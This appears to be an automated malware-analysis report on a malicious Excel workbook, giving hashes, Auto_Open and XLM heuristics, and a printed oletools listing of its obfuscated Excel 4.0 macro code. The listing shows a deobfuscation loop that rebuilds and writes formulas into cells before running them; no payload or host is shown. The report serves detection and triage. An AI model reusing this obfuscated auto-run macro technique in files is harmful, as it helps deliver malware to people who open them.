Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a594538358585be…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:22 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 96f8613386a6267704846d5c48374f98 SHA-1: 29cb567b037a4995ef7462fcf4de0e3459ec2cf0 SHA-256: 6a594538358585be5479b9333dd893a40245cfecf80259d9d79ca536a59a89f1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6629 bytes
SHA-256: e544ed2be0d38d78a31823d0d5ad1515cb917d7f76d413f63bb24dd0d33af652
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qDkIdmsLARB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E186 
' 0018     21 LABEL : Cell Value, String Constant - behvsi len=0 
' 0018     25 LABEL : Cell Value, String Constant - BrjZHSWsoi len=0 
' 0018     21 LABEL : Cell Value, String Constant - DJosgg len=0 
' 0018     26 LABEL : Cell Value, String Constant - eeteveORtNb len=0 
' 0018     26 LABEL : Cell Value, String Constant - EgpVuBYFaUx len=0 
' 0018     22 LABEL : Cell Value, String Constant - FALJWjT len=0 
' 0018     22 LABEL : Cell Value, String Constant - iMadlpC len=0 
' 0018     24 LABEL : Cell Value, String Constant - JvcrASoHX len=0 
' 0018     21 LABEL : Cell Value, String Constant - JZtqds len=0 
' 0018     23 LABEL : Cell Value, String Constant - kwmDjLJW len=0 
' 0018     23 LABEL : Cell Value, String Constant - LaMHkhKh len=0 
' 0018     25 LABEL : Cell Value, String Constant - LGTtnZabUM len=0 
' 0018     22 LABEL : Cell Value, String Constant - PMeIbPw len=0 
' 0018     20 LABEL : Cell Value, String Constant - pYocF len=0 
' 0018     26 LABEL : Cell Value, String Constant - SMwEPYSBwQj len=0 
' 0018     24 LABEL : Cell Value, String Constant - tEqNfCxwM len=0 
' 0018     24 LABEL : Cell Value, String Constant - XtXCVtseh len=0 
' 0018     20 LABEL : Cell Value, String Constant - YBmml len=0 
' 0018     20 LABEL : Cell Value, String Constant - YJrHZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - YqWWnrxZwz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qDkIdmsLARB,E88,"SET.NAME("pYocF",VALUE("0"))",""
'  qDkIdmsLARB,E93,"SET.NAME("LaMHkhKh",pYocF)",""
'  qDkIdmsLARB,E97,"SET.NAME("BrjZHSWsoi",pYocF)",""
'  qDkIdmsLARB,E102,"SET.NAME("YJrHZ",COUNTA(eeteveORtNb))",""
'  qDkIdmsLARB,E106,"SET.NAME("XtXCVtseh",COUNTA(JvcrASoHX))",""
'  qDkIdmsLARB,E111,[],""
'  qDkIdmsLARB,E113,"SET.NAME("PMeIbPw","")",""
'  qDkIdmsLARB,E116,"LaMHkhKh",""
'  qDkIdmsLARB,E120,"SET.NAME("DJosgg",HLOOKUP("*",eeteveORtNb,LaMHkhKh,FALSE))",""
'  qDkIdmsLARB,E123,"YqWWnrxZwz",""
'  qDkIdmsLARB,E126,"SET.NAME("LGTtnZabUM",pYocF)",""
'  qDkIdmsLARB,E128,[],""
'  qDkIdmsLARB,E133,"LGTtnZabUM",""
'  qDkIdmsLARB,E138,"YBmml",""
'  qDkIdmsLARB,E143,"behvsi",""
'  qDkIdmsLARB,E145,"SMwEPYSBwQj",""
'  qDkIdmsLARB,E149,"SET.NAME("JZtqds",VALUE(HLOOKUP("*",JvcrASoHX,SMwEPYSBwQj,FALSE)))",""
'  qDkIdmsLARB,E152,"FALJWjT",""
'  qDkIdmsLARB,E154,"PMeIbPw",""
'  qDkIdmsLARB,E159,"BrjZHSWsoi",""
'  qDkIdmsLARB,E163,NEXT(),""
'  qDkIdmsLARB,E167,"iMadlpC",""
'  qDkIdmsLARB,E170,"SET.NAME("f",INT(T(FORMULA(T(PMeIbPw)&"",""&T(iMadlpC)))))",""
'  qDkIdmsLARB,E173,"tEqNfCxwM",""
'  qDkIdmsLARB,E178,NEXT(),""
'  qDkIdmsLARB,E181,RETURN(),""
'  qDkIdmsLARB,E210,"SET.NAME("EgpVuBYFaUx",E88)",""
'  qDkIdmsLARB,E212,"eeteveORtNb",""
'  qDkIdmsLARB,E216,"SET.NAME("JvcrASoHX",R84C14)",""
'  qDkIdmsLARB,E220,"SET.NAME("tEqNfCxwM",230)",""
'  qDkIdmsLARB,E225,"SET.NAME("kwmDjLJW",5)",""
'  qDkIdmsLARB,E229,EgpVuBYFaUx(),""
'  qDkIdmsLARB,E230,HALT(),""